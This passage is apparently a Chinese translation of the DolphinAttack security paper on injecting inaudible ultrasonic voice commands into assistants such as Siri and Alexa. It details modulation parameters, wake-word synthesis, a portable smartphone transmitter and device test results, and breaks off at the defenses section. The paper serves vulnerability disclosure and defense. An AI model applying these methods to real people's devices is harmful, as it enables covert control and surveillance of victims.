||||
|
||||
* 没有目标设备访问权限。我们假设对手可以针对她选择的任何语音可控系统,但她无法直接访问目标设备。她无法实际触摸它们,更改设备设置或安装恶意软件。但是,我们假设她完全了解目标设备的特性。可以通过首先获取设备模型,然后在发起攻击之前分析相同模型的设备来获得此类知识。
|
||||
* 没有所有者交互。我们假设目标设备可能在所有者附近,但可能没有在使用中并且不引起注意(例如,在桌子的另一侧,屏幕遮盖的地方或放在口袋中)。此外,设备可能无人看管,这可能在所有者暂时不在时(例如,将Amazon Echo留在房间中)发生。或者,设备可能被盗,对手可能会尝试各种可能的方法来解锁屏幕。但是,对手不能要求所有者执行任何操作,例如按下按钮或解锁屏幕。
|
||||
* 听不见。由于对手的目标是在不被检测到的情况下注入语音命令,因此她将使用人类听不到的声音,即超声波(f> 20 kHz)。请注意,我们没有使用高频声音(18 kHz <f <20 kHz),因为它们仍然可以被孩子听到。
|
||||
* 攻击装备。我们假设对手既可以获取用于发射超声波的扬声器,也可以获取用于播放声音的商品设备。攻击者在目标设备附近。例如,她可能会在受害人的桌子或家附近秘密地留下一个可远程控制的扬声器。或者,她可能在受害者走动时携带便携式扬声器。
|
||||
|
||||
## 3 可行性分析
|
||||
|
||||
DolphinAttack的基本思想是(a)在空中传输之前在超声载波上调制低频语音信号(即基带),以及(b)在接收器处用语音捕获硬件对调制后的语音信号进行解调。由于我们无法控制语音捕获硬件,因此我们必须以一种可以使用语音捕获硬件将其解调为基带信号的方式来调制信号。假设麦克风模块始终利用LPF抑制不想要的高频信号,则解调应在LPF之前完成。
|
||||
由于语音捕获硬件的信号路径从麦克风,一个或多个放大器LPF到ADC开始,因此解调的潜在组件是麦克风和放大器。我们研究了完成DolphinAttack的原理。尽管诸如放大器之类的电子组件被设计为线性的,但实际上它们表现出非线性。利用这种非线性特性,电子元件能够创建新的频率[25]。尽管已经报道并利用了放大器模块的非线性,但包括ECM麦克风和MEMS麦克风在内的麦克风是否具有这种特性仍是未知的。
|
||||
为了进行研究,我们首先在理论上对麦克风模块的非线性建模,然后显示非线性对实际麦克风模块的影响。
|
||||
|
||||
### 3.1非线性效应建模
|
||||
|
||||
麦克风将机械声波转换为电信号。 从本质上讲,麦克风可以粗略地视为在输入/输出信号传输特性中具有平方律非线性的组件[1、13]。 众所周知,放大器具有非线性特性,可以产生低频范围内的解调信号[20]。 在本文中,我们研究了麦克风的非线性,可以将其建模如下。 假设输入信号为sin(t),输出信号sout(t)为:
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610080973/Dolphin%20Attack/image_25.png)
|
||||
其中A是输入信号的增益,B是二次项s2 in的增益。线性分量采用频率为f的正弦输入信号,并输出具有相同频率f的正弦信号。 相比之下,电气设备的非线性会产生谐波和叉积2。尽管通常将它们视为不希望的失真[31],但具有非线性的设备能够生成新的频率,并且通过精心设计的输入信号,它们可以将信号下变频为 以及恢复基带信号。
|
||||
假设所需的语音控制信号为m(t),我们选择中心频率为fc的载波上的调制信号为
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610080973/Dolphin%20Attack/image_26.png)
|
||||
即,使用幅度调制。 不失一般性,设m(t)为简单基调,即m(t)= cos(2πfmt)。 应用等式后。 (2)至 (1)并进行傅立叶变换,我们可以确认输出信号包含预期的频率分量fm以及sin的基本频率分量(即fc-fm,fc + fm和fc),谐波和其他交叉 乘积(即fm,2(fc-fm),2(fc + fm),2fc,2fc + fm和2fc-fm)。 经过LPF后,所有高频成分将被删除,而fm频率成分将保留下来,从而完成了下变频,如图3所示。
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_271.png)
|
||||
|
||||
### 3.2 非线性效应评估
|
||||
|
||||
考虑到麦克风模块非线性效应的理论计算及其对调制后输入信号的影响,在本节中,我们将验证对真实麦克风的非线性效应。我们测试两种类型的麦克风:ECM和MEMS麦克风。
|
||||
|
||||
#### 3.2.1 实验设置
|
||||
实验设置如图5所示。我们使用iPhone SE智能手机生成2 kHz语音控制信号,即基带信号。然后将基带信号输入到矢量信号发生器[57],该信号发生器将基带信号调制到载波上。经功率放大器放大后,调制信号由高质量的全频带超声扬声器Vifa传输[9]。请注意,我们选择的载波范围为9 kHz至20 kHz,因为信号发生器无法生成低于9 kHz频率的信号。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_281.png)在接收器端,我们测试了从耳机中提取的ECM麦克风和ADMP401 MEMS麦克风[16]。如图5所示,ADMP401麦克风模块包含一个前置放大器。为了了解麦克风的特性,我们测量了麦克风而不是前置放大器输出的信号。
|
||||
|
||||
#### 3.2.2 结果
|
||||
我们使用两种信号来研究非线性:单音和多音语音。
|
||||
单音: 图4显示了当我们使用20 kHz载波时的结果,这证实了麦克风的非线性有助于解调基带信号。前两个图显示了来自扬声器的原始信号的时域和频域,从而很好地显示了载波频率(20 kHz)和上边带以及下边带(20±2 kHz)。第二行中的两个图显示了来自MEMS麦克风的输出信号,下面两个图显示了来自ECM麦克风的输出信号。即使信号被衰减,尤其是对于ECM麦克风,两个麦克风在频域中的基带(2 kHz)仍能证实解调成功。请注意,频域图包含多个高频谐波,这些谐波将被LPF过滤,并且不会影响语音识别。
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_27.png)
|
||||
声音: 尽管我们可以成功地解调出信号音,但语音是各种频率下无数音调的混合,并且未知解调后的语音信号是否仍与原始信号相似。因此,我们计算了三个“ Hey”声音片段中的Mel频率倒谱系数(MFCC),这是声音使用最广泛的功能之一:(a)由文本语音转换(TTS)引擎生成的原始语音,(b)三星Galaxy S6 Edge以iPhone 6 plus录制的语音播放了原始TTS语音,以及(c)三星S6 Edge以TTS语音调制的语音由全频带超声扬声器调制和播放Vifa [9]。如图6所示,这三种情况的MFCC都是相似的。为了量化相似度,我们计算了原始和记录之间的梅尔倒谱失真(MCD),情况(b)为3.1,情况(c)为7.6。 MCD量化两个MFCC之间的失真,数值越小越好。通常,如果两个语音的MCD值小于8 [23],则认为它们可以被语音识别系统接受,因此结果鼓励我们对DolphinAttack针对语音可控系统进行进一步的研究。
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_28.png)
|
||||
|
||||
## 4 攻击设计
|
||||
|
||||
DolphinAttack利用听不见的语音注入来静默控制VCS。由于攻击者几乎无法控制VCS,因此成功进行攻击的关键是在攻击发送方生成听不见的语音命令。特别是,DolphinAttack必须为VCS的激活和识别阶段生成语音命令的基带信号,对基带信号进行调制,以便可以在VCS上对其进行有效解调,并设计一种可以在任何地方启动DolphinAttack的便携式发射机。 DolphinAttack的基本构建模块如图7所示,我们将在以下小节中讨论这些细节。在不失一般性的前提下,我们通过使用Siri作为案例研究来讨论设计细节,并且该技术可以轻松地应用于其他SR系统(例如Google Now,HiVoice)。
|
||||
|
||||
### 4.1 语音命令生成
|
||||
|
||||
Siri的工作分为两个阶段:激活和识别。它在接受语音命令之前需要激活,因此我们生成两种类型的语音命令:激活命令和常规控制命令。为了控制VCS,DolphinAttack必须在注入常规控制命令之前生成激活命令。
|
||||
|
||||
#### 4.1.1 激活命令生成
|
||||
成功的激活命令必须满足两个要求:(a)包含唤醒词“ Hey Siri”,以及(b)调成接受Siri训练的用户的特定语音。创建具有这两个要求的激活命令具有挑战性,除非攻击者在附近并设法创建清晰的记录时用户碰巧说“ Hey Siri”。实际上,攻击者最多可以偶然记录任意单词。如果可能的话,使用现有的语音合成技术[38]和从录音中提取的特征来生成特定语音的“嘿Siri”是极其不同的,因为目前尚不清楚Siri使用哪些特征集进行语音识别。因此,我们设计了两种方法来分别针对两种情况生成激活命令:(a)攻击者找不到Siri的所有者(例如,攻击者获得了被盗的智能手机),以及(b)攻击者可以获得一些录音主人的声音。
|
||||
(1)基于TTS的蛮力。 TTS技术的最新进展使将文本转换为语音变得容易。 因此,即使攻击者没有机会从用户那里获得任何语音记录,攻击者也可以通过TTS(文本到语音)系统生成一组包含唤醒词的激活命令。 观察到的启发是,具有相似声调的两个用户可以激活另一个人的Siri。 因此,只要集合中的激活命令之一具有与所有者足够接近的声音,就足以激活Siri。 在DolphinAttack中,我们借助现有的TTS系统(如表1所示)准备了一组具有各种音调和音色的激活命令,其中包括Selvy Speech,Baidu,Google等。总共,我们获得了90种类型的TTS 声音。 我们选择Google TTS语音来训练Siri,其余的用于攻击
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_29.png)
|
||||
(2)级联综合。当攻击者可以录制来自Siri所有者的几个单词但不是必需的“嘿Siri”时,我们建议通过从可用录制中的其他单词中搜索相关的音素来合成所需的语音命令。英文大约有44个音素,而唤醒字“嘿Siri”使用6个音素(即HH,EY,S,IH,R,IY)。许多单词的发音与“ Hey”或“ Si”或“ ri”相同,可以将它们拼接在一起。例如,我们可以将“ he”和“ cake”连接起来以获得“ Hey”。同样,“ Siri”可以是“城市”和“携带”的组合。如图8所示,我们首先在记录的句子中搜索单个或组合的音素,然后如果找到匹配项,则提取感兴趣的片段。最后,将匹配的音素组合在一起。为了评估该方案的可行性,我们进行了以下实验。我们使用Google TTS生成用于训练SR系统的“ Hey Siri”,并生成两组候选语音以合成“ Hey Siri”:1.“ he”,“ cake”,“ city”,“ carry”; 2.“he is a boy”, “eat a cake”, “in the city”, “read after me”。合成激活命令后,我们使用如图5所示的相同实验设置在iPhone 4S上对其进行测试。两个合成的“ Hey Siri”都可以成功激活Siri。
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_30.png)
|
||||
|
||||
#### 4.1.2 通用控制命令生成
|
||||
常规控制命令可以是启动应用程序(例如,“拨打911”,“打开www.google.com”)或配置设备(例如,“开启飞行模式”)的任何命令。与激活命令不同,SR系统不会验证控制命令的身份。因此,攻击者可以选择任何控制命令的文本,并利用TTS系统生成命令。
|
||||
|
||||
#### 4.1.3 评估
|
||||
我们测试激活和控制命令。在不失一般性的前提下,我们通过利用Tab中总结的TTS系统生成激活和控制命令。 1.特别是,我们从这些TTS系统的网站上下载了两个语音命令:“ Hey Siri”和“ call 1234567890”。对于激活,我们使用Google TTS系统中的“ Hey Siri”来训练Siri,其余的用于测试。我们通过iPhone 6 Plus和台式设备播放语音命令(如图5所示),并在iPhone 4S上进行测试。选项卡中汇总了这两个命令的激活和识别结果。结果表明,SR系统可以识别来自任何TTS系统的控制命令。在89种类型的激活命令中,有35种可以激活Siri,成功率为39%。
|
||||
|
||||
|
||||
### 4.2 语音命令调制
|
||||
|
||||
生成语音命令的基带信号后,我们需要在超声载波上对其进行调制,以使它们听不到。 为了利用麦克风的非线性,DolphinAttack必须利用幅度调制(AM)。
|
||||
|
||||
#### 4.2.1 AM调制参数
|
||||
在AM中,载波的幅度与基带信号成比例地变化,并且幅度调制产生一个信号,其功率集中在载波频率和两个相邻的边带上,如图9所示。 描述如何在DolphinAttack中选择AM参数。
|
||||
(1)深度:调制深度m定义为m = M / A,其中A是载波幅度,M是调制幅度,即,M是幅度从其未调制值起的峰值变化。 例如,如果m = 0.5,则载波幅度在其未调制电平之上(或之下)变化50%。 调制深度与麦克风非线性效应的利用直接相关,我们的实验表明,调制深度与硬件有关(在第5节中有详细介绍)。
|
||||
(2)载波频率。载波频率的选择取决于几个因素:超声波的频率范围,基带信号的带宽,低通滤波器的截止频率以及VCS上麦克风的频率响应以及频率攻击者的回应。调制信号的最低频率应大于20 kHz,以确保听不见。假设语音命令的频率范围为w,则载波频率fc必须满足fc-w> 20 kHz的条件。例如,假设基带的带宽为6 kHz,则载波频率必须大于26 kHz,以确保最低频率大于20 kHz。人们可能会考虑使用20 kHz以下的载波,因为这些频率对于大多数人来说是听不到的,除了小孩。但是,这样的载波(例如,<20kHz)将无效。这是因为,当载波频率和下边带低于低通滤波器的截止频率时,它们将不会被滤波。因此,恢复的语音不同于原始信号,并且语音识别系统将无法识别命令。 类似于许多电子设备,麦克风是频率选择性的,例如,各种频率下的增益会变化。为了提高效率,载波频率应是扬声器和VCS麦克风上增益最高的乘积。为了发现最佳载波频率,我们测量扬声器和麦克风的频率响应,即,在相同的激励下,我们测量各种频率下的输出幅度。图10显示了Samsung Galaxy S6 Edge 3上的ADMP 401 MEMS麦克风和扬声器的频率响应。麦克风和扬声器的增益不一定随频率的增加而降低,因此有效载波频率可能不会单调。
|
||||
(3)语音选择。 各种声音映射到各种基带频率范围。 例如,女性语音通常具有比男性语音更宽的频带,这导致在可听频率范围内频率泄漏的可能性更大,即,调制信号的最低频率可以小于20kHz。 因此,如果可能,应选择带宽较小的语音以创建基带语音信号
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_31.png)
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_32.png)
|
||||
|
||||
### 4.3 语音命令发送器
|
||||
|
||||
我们设计了两个发射器:(a)由专用信号发生器驱动的强大发射器(如图5所示),以及(b)由智能手机驱动的便携式发射器(如图11所示)。 我们利用第一个来验证和量化DolphinAttack可以完成各种听不见的语音命令的程度,而我们使用第二个来验证步行攻击的可行性。 这两个发射机均由三个组件组成:信号源,调制器和扬声器。 信号源产生原始语音命令的基带信号,并输出到调制器,该调制器以幅度调制(AM)的形式将语音信号调制到频率为fc的载波上。 最后,扬声器将调制后的信号转换成声波,并请注意扬声器的采样率必须大于2(fc + w),以避免信号混叠。
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_33.png)
|
||||
#### 4.3.1 具有信号发生器的强大变送器
|
||||
我们将智能手机用作信号源,并将图5中描述的矢量信号发生器用作调制器。请注意,信号发生器的采样范围为300 MHz,远大于超声频率,并且可以使用预定义的参数调制信号。功能强大的发射器的扬声器是名为Vifa [9]的宽带动态超声扬声器。
|
||||
|
||||
#### 4.3.2 带有智能手机的便携式变送器
|
||||
便携式发射器利用智能手机来发射调制信号。因为我们发现许多设备的最佳载波频率都大于24 kHz,如表3所示。 大多数智能手机无法完成任务。大多数智能手机最多支持48 kHz采样率,并且只能发送载波频率最高为24 kHz的调制窄带信号。为了构建适用于各种VCS的便携式发射器,我们购买了三星Galaxy S6 Edge,它支持高达192 kHz的采样率。不幸的是,三星Galaxy S6的车载扬声器会衰减频率大于20 kHz的信号。为了减轻这个问题,我们使用窄带超声换能器[56]作为扬声器,并在超声换能器之前添加了一个放大器,如图11所示。这样,有效的攻击范围得以扩展。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_34.png)
|
||||
|
||||
## 5 VCS的可行性实验
|
||||
|
||||
我们在16种流行的语音可控系统和7种语音识别系统上通过实验验证了DolphinAttack,并寻求以下三个问题的答案:(a)攻击是否会针对各种操作系统和硬件平台上的不同语音识别系统起作用? (b)不同的软件和硬件如何影响攻击的性能? (c)成功实施攻击的关键参数是什么? 本部分详细介绍了实验设计,设置和结果。
|
||||
|
||||
### 5.1 系统选择
|
||||
|
||||
我们检查了针对各种先进的语音识别系统和现成的VCS的DolphinAttack攻击,这些攻击已在Tab 3.中列出。 该列表并非旨在详尽无遗,而是提供了一组具有代表性的VCS,可以尽我们最大的努力进行实验。
|
||||
我们选择目标系统的方法是双重的-软件和硬件。首先,我们选择可公开使用的主要语音识别系统,例如Siri,Google Now,Alexa,Cortana等。与普通软件不同,SR系统(尤其是专有系统)高度依赖硬件和操作系统。例如,只能在Apple产品上找到和使用Siri。 Alexa仅限于Amazon设备; Cortana仅在Windows计算机上运行。尽管如此,我们还是选择了与SR系统兼容的硬件并进行了实验。为了探究硬件对攻击性能的影响,我们检查了运行同一SR系统的不同硬件模型(例如,各代iPhone上的Siri)受到的攻击。
|
||||
总而言之,我们选择在活跃用户的消费市场上流行的VCS和SR系统,并涵盖各种应用领域和使用场景。在标签页中。参见Tab 3.,我们总结了用于实验的所选VCS,可以将其分为三类-个人设备(可穿戴设备,智能手机,平板电脑,计算机),智能家居设备和车辆。
|
||||
|
||||
### 5.2 实验设置
|
||||
|
||||
我们使用相同的实验设置和设备测试对所选语音可控系统和语音识别系统的攻击,并在注入具有三个目标的不可听的语音命令时报告其行为:
|
||||
|
||||
* 检查攻击的可行性。
|
||||
* 量化参数以调整成功的攻击。
|
||||
* 测量攻击性能。
|
||||
|
||||
|
||||
设备: 除非另有说明,否则所有实验均使用默认的实验设备:如图5所示的功能强大的发射器,其中包括智能手机作为信号源,信号发生器作为调制器以及名为Vifa的宽带动态超声扬声器[9]。 作为扬声器播放听不见的语音命令。 由于功能强大的发射器能够以多种载波(从9 kHz到50 kHz)发射信号,因此我们将其用于可行性研究。 相比之下,便携式发射机使用窄带扬声器,其传输频率受到可用的窄带扬声器的限制。 在我们的情况下,我们的便携式发射机可以以23 kHz,25 kHz,33 kHz,40 kHz和48 kHz的频率发送信号。
|
||||
|
||||
设定:除非受到设备尺寸的限制,否则我们会将选定的设备放在台式攻击设备前面,并且桌子上的距离各不相同,并且设备麦克风朝向扬声器。将设备和扬声器都升高到相同的高度(即在桌子上方10厘米),以避免机械耦合。除带有汽车的测试外,所有实验均在我们的实验室中进行,平均背景噪声为55 dB SPL(声压级),并且我们确认在测试频段(20 kHz – 50 kHz)中没有干扰声。我们通过功能强大的发射器播放听不见的语音命令,并在设备屏幕或设备声学响应中观察结果。通常,设备上安装了多个麦克风以拾取来自各个方向的声音。通常所有麦克风都用于语音识别。在我们的实验中,我们专门测试了显示最佳解调效果的设备。
|
||||
|
||||
语音命令: 针对两种类型的攻击(激活和识别)准备了两种语音命令。 对于那些支持语音激活的系统,我们尝试使用听不见的唤醒单词命令激活它们。 要检查语音识别系统是否可以正确识别听不见的语音命令,我们选择了一些可以理解的英语命令,如Tab 2中所示。 由于所有设备均不支持任何命令,因此我们准备了一组命令来覆盖所有设备。 对于每个命令,我们尝试两种音频来源:来自TTS引擎的合成声音,以及作者所说的真实人类声音。
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_35.png)
|
||||
声压级:尽管为攻击而产生的声音是人类无法听到的,但是我们仍然使用自由场测量麦克风[50]以分贝为单位测量声压级(SPL)。 在距Vifa [9]扬声器10 cm处测量的超声接收声压级为125 dB。
|
||||
|
||||
攻击:在识别攻击中,SR系统是事先手动激活的。 在激活攻击中,不允许与设备进行物理交互。 仅当从SR系统识别的文本与攻击命令完全匹配时,才认为攻击成功,并且仅记录距离。
|
||||
|
||||
调制参数: 我们认为调制参数可能会影响攻击性能。 我们考虑幅度调制中的两个因素:载波频率fc和调制深度。 为了量化其影响,我们使用Google TTS引擎作为基带音频源,将设备放置在距宽带超声扬声器Vifa [9] 10 cm处,并测量三个值:(a)fc range-载波范围 成功进行识别攻击且100%准确的频率。 (b)素数fc -解调后展现最高基带4幅度的fc。 (c)AM深度—成功进行识别攻击且100%准确时,在原始fc处的调制深度。
|
||||
|
||||
### 5.3 可行性结果
|
||||
|
||||
Tab. 3总结实验结果。 从Tab. 3所示,我们可以得出结论,DolphinAttack可与几乎所有经过检查的SR系统和设备一起使用。 特别是,SR系统可以在所有经过测试的硬件上正确解释听不到的语音命令,并且在需要激活的所有VCS上都可以成功激活。 但是,结果确实表明,设备和系统需要各种参数才能实现相同的攻击效果。 我们讨论以下结果:
|
||||
**硬件依赖性:**DolphinAttack的基本原理是在数字化组件之前注入听不见的语音命令。 因此,DolphinAttack的可行性在很大程度上取决于音频硬件,而不是语音识别系统。 例如,运行Siri的同一制造商的各种设备在攻击成功率,最大攻击距离和调制参数方面显示出很大的差异。 这是因为各种型号采用不同的硬件(例如,麦克风,放大器,滤波器),这导致输入到相同SR系统的数字化音频发生变化。 我们在两个相同设备(iPhone SE)上的实验显示出相似的攻击参数和结果。 因此,攻击者事先研究硬件以获得令人满意的攻击结果是可行的。
|
||||
**SR系统依赖性:**我们发现,各种SR系统可能会以不同方式处理相同的音频。 我们在运行iPhone SE的Google Chrome中测试了语音搜索。 表3中的结果表明,Google Chrome的fc范围与Siri实验中的fc范围重叠,这表明我们的攻击取决于硬件。 但是,fc,AM深度和识别距离的差异是由SR系统引起的
|
||||
**识别与激活:**根据攻击距离,各种设备和SR系统对识别和激活攻击的反应可能不同。 对于某些设备(8个设备),可以比识别攻击更大的距离实现激活攻击,而对于其他设备(6个设备),成功激活攻击的有效范围要比识别攻击小。 此外,我们观察到,对于许多设备而言,在控制命令之前附加激活命令(例如“ Hey Siri”)可能会增加正确识别的可能性,这可能是因为SR系统专门对激活命令进行了训练,使之成为可能。 在常开模式下识别。
|
||||
**命令很重要:** 语音命令的长度和内容会影响成功率和最大攻击距离。 在实验中,我们严格要求要求正确识别命令中的每个单词,尽管某些命令可能不需要这样做。 例如,“呼叫/ FaceTime 1234567890”和“打开dolphinattack.com”比“打开飞机模式”或“今天的天气如何”更难被识别。 在前一种情况下,必须正确识别执行字“ call”,“ open”和内容(数字,url)。 但是,对于后一种情况,仅识别诸如“飞机”和“天气”之类的关键字就足以执行原始命令。 如果攻击命令简短且对于SR系统通用,则可以提高攻击性能。
|
||||
**载波频率:** fc是影响攻击成功率的主要因素,并且在各个设备之间也显示出很大的差异。对于某些设备,成功进行识别攻击的fc范围可以宽至20-42 kHz(例如iPhone 4s),也可以窄至几个单个频率点(例如iPhone 5s)。我们将这种多样性归因于这些麦克风的频率响应和频率选择性的差异以及音频处理电路的非线性。例如,Nexus 7的fc范围是从24到39 kHz,这可以从两个方面进行解释。 fc不高于39 kHz,因为Vifa扬声器在39 kHz以上的频率响应较低,而Nexus 7麦克风之一也较低。因此,结合起来,高于39 kHz的载波不再足够有效以注入听不见的语音命令。由于麦克风频率响应的非线性,fc不能小于24 kHz。我们观察到,当基带谐波的幅度大于基带之一时,无法听到的语音命令对于SR系统变得不可接受。例如,在给定400 Hz音调的基带的情况下,我们测量Nexus 7上的解调信号(即400 Hz基带),并观察800 Hz(2次谐波),1200 Hz(3次谐波)甚至更高的谐波,这可能是由于音频处理电路的非线性所致。如图12所示,当fc小于23 kHz时,第二和第三谐波要强于第一谐波,这会使基带信号失真并使SR系统难以识别。导致最佳攻击性能的Prime fc是既显示高基带信号又显示低谐波的频率。在Nexus 7上,Prime fc为24.1 kHz
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_36.png)
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_37.png)
|
||||
**调制深度:** 调制深度会影响解调后的基带信号的幅度及其谐波,如图13所示。随着调制深度从0%逐渐增加到100%,解调后的信号会变得更强,进而提高SNR和攻击成功率, 除少数例外(例如,当谐波使基带信号失真的程度大于AM深度较低的情况时)。 我们在Tab 3 中报告了对每台设备成功进行识别攻击的最小深度。
|
||||
攻击距离: 攻击距离从2厘米到最大175厘米不等,并且跨设备差异很大。 值得注意的是,我们在Amazon Echo上两次攻击都可以达到的最大距离为165厘米。 我们认为,可以使用可以产生更高压力水平的声音并表现出更好的声音指向性的设备来增加距离,或者使用更短和更易于识别的命令来增加距离。
|
||||
**努力与挑战:**在进行上述实验时,我们面临挑战。 除了获取设备以外,由于缺少音频测量反馈界面,因此测量每个参数非常耗时且费力。 例如,为测量Prime fc,我们使用不同平台上的音频频谱分析软件在各种设备上分析解调结果:iOS [30],macOS [34],Android [41]和Windows [35]。 对于不支持安装频谱软件的设备(例如Apple Watch和Amazon Echo),我们利用呼叫和命令日志回放功能,并在另一台中继设备上测量音频。
|
||||
|
||||
### 5.4 小结
|
||||
|
||||
我们将实验总结如下。 (1)我们验证了跨越16种不同设备和7种语音识别系统的识别和激活攻击,并在几乎所有设备上均获得了成功。 (2)我们测量了所有设备的攻击性能,其中一些设备足以应付日常情况下的实际攻击。 例如,我们可以在距离iPhone 2s和Amazon Echo约2米的地方启动DolphinAttack。 (3)我们测量,检查并讨论了与攻击性能有关的参数,包括SR系统,设备硬件,语音命令,fc,AM深度等。
|
||||
|
||||
## 6 影响定量
|
||||
|
||||
在本节中,我们将使用功能强大的发射器(即,图5中所示的台式机设置),根据语言,背景噪声,声压级和攻击距离评估DolphinAttack的性能。 此外,我们评估了使用便携式设备进行的漫游攻击的有效性。
|
||||
|
||||
### 6.1 语言的影响
|
||||
|
||||
为了检查DolphinAttack在语言方面的有效性,我们选择了五种语言中的三个语音命令。语音命令包括激活命令(“ Hey Siri”)和两个控制命令(“ Call 1234567890”和“ Turn onplane mode”),代表针对SR系统的三种攻击:激活SR系统,启动对用户的监视,和拒绝服务攻击。每个语音命令分别以英语,中文,德语,法语和西班牙语进行测试。我们针对与运行iOS 10.3.1的iPhone 6 Plus配对的Apple Watch推出DolphinAttack。对于每种语言的每种语音命令,我们将其重复10次并计算平均成功率。距离设置为20 cm,测得的背景噪声为55 dB。我们利用25 kHz载波频率和100%AM深度。图14示出了给定语言的三个语音命令的识别结果。我们可以看到,各种语言和语音命令的识别率几乎相同。特别地,英语和西班牙语中所有语音命令的识别率均为100%,并且三种语音命令在所有语言中的平均识别率分别为100%,96%和98%。此外,用于激活的识别率(即,“嘿Siri”)高于控制命令“呼叫1234567890”和“打开飞机模式”之一。这是因为激活命令的长度比控制命令的长度短。无论如何,结果表明我们的方法对于各种语言和语音命令都是有效的。
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_38.png)
|
||||
|
||||
### 6.2 背景噪声的影响
|
||||
|
||||
众所周知,语音识别对背景噪声敏感,建议在安静的环境中使用。因此,我们在以下三种情况下检查了通过DolphinAttack发出的听不见的语音命令注入:在办公室,咖啡馆,在街上。为确保实验可重复,我们通过以选定的SPL播放背景声音来模拟这三种情况,并评估它们对识别率的影响。我们选择Apple Watch作为攻击目标,并通过迷你声级计测量背景噪音。从表4可以看出,激活命令的识别率在所有三个场景中均超过90%,而控制命令(“飞机飞行模式”)的识别率则随着环境噪声水平的提高而降低。这是因为激活命令比控制命令短。随着控制命令的单词数增加,由于无法识别任何单词可能导致命令识别失败,因此识别率迅速下降。
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_39.png)
|
||||
|
||||
### 6.3 声压级的影响
|
||||
|
||||
对于可听和不可听的声音,较高的SPL会导致录制的语音质量更高,从而识别率也更高。这是因为对于给定的噪声水平,较高的SPL始终意味着较大的信噪比(SNR)。为了探索SPL对DolphinAttack的影响,我们在Apple Watch和Galaxy S6 Edge智能手机上测试了控制命令(“ Call 1234567890”)。在所有实验中,将扬声器放置在距目标设备10厘米的位置,并将迷你声级计放置在扬声器旁边以测量环境噪声。我们用两种粒度来量化SPL的影响:句子识别率和单词识别率。句子识别率计算成功识别的命令的百分比。只有正确识别了命令中的每个单词,才认为命令已被识别。单词识别率是正确解释的单词的百分比。例如,如果命令“ call 1234567890”被识别为“ call 1234567”,则单词识别率为63.6%(7/11)。图15(a)(b)显示了SPL对两种识别率的影响。毫不奇怪,给定相同的SPL,单词识别率始终大于句子识别率,直到两者都达到100%。对于Apple Watch,一旦SPL大于106.2 dB,两种识别率都将变为100%。相比之下,Galaxy S6 Edge达到100%识别率的最低SPL为113.96 dB,高于Apple Watch的最低声压级。这是因为在解调听不见的语音命令方面,Apple Watch胜过Galaxy S6 Edge。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_40.png)
|
||||
### 6.4 攻击距离的影响
|
||||
|
||||
在本节中,将使用激活命令(“ Hey Siri”或“ Hi Galaxy”)和控制命令(“ Call 1234567890”)来测试各种距离下的识别率。 我们评估了Apple Watch和Galaxy S6 Edge上两个命令的识别率,并在图16中进行了描述。通常,激活命令的识别率高于控制命令的识别率,因为激活 该命令包含的单词数少于控制命令。 可以在100厘米远的地方以100%的成功率激活Apple Watch,从25厘米处以100%的成功率激活Galaxy S6 Edge。 我们认为,这两种设备之间的差异是因为Apple Watch戴在手腕上,并且可以接受比智能手机更长的语音命令。
|
||||
|
||||
### 6.5 便携式设备攻击评估
|
||||
|
||||
在本节中,我们评估便携式设备攻击的有效性。设定。我们将运行Android 6.0.1的Galaxy S6 Edge智能手机用作攻击设备,将Apple Watch作为受害者设备,并将其与iPhone 6 Plus配对使用。攻击声音命令是“打开飞行模式”。我们将fc分别设置为{20、21、22、23、24} kHz。 AM深度为100%,采样率为192 kHz。基带信号的最大频率为3 kHz。结果,如表5所示,我们成功地在Apple Watch上以23 kHz载波频率“开启了飞行模式”。请注意,20 kHz和21 kHz也成功。但是,频率泄漏低于20 kHz,听起来像,可以听到。单词和句子的识别率是100%。随着fc的增加,由于扬声器的频率选择性,Apple Watch无法识别语音命令。为了扩展攻击距离,我们利用低功率音频放大器(3瓦)模块来驱动超声换能器,如图11所示。使用放大器模块,有效攻击的最大距离增加到27厘米。请注意,使用专业设备和功能更强大的放大器可以进一步扩大攻击距离。攻击者可以使用受害者的设备发起远程攻击。例如,对手可以上传音频或视频剪辑,其中语音命令嵌入在网站中,例如YouTube。当受害者的设备播放音频或视频时,可能会无意识地触发周围的语音可控系统,例如Google Home Assistant,Alexa和手机。
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_41.png)
|
||||
|
||||
## 7 防御
|
||||
|
||||
在本节中,我们将从硬件和软件角度讨论针对上述攻击的防御策略。
|
||||
|
||||
### 7.1 基于硬件的防御
|
||||
|
||||
我们提出了两种基于硬件的防御策略:麦克风增强和基带消除。
|
||||
|
||||
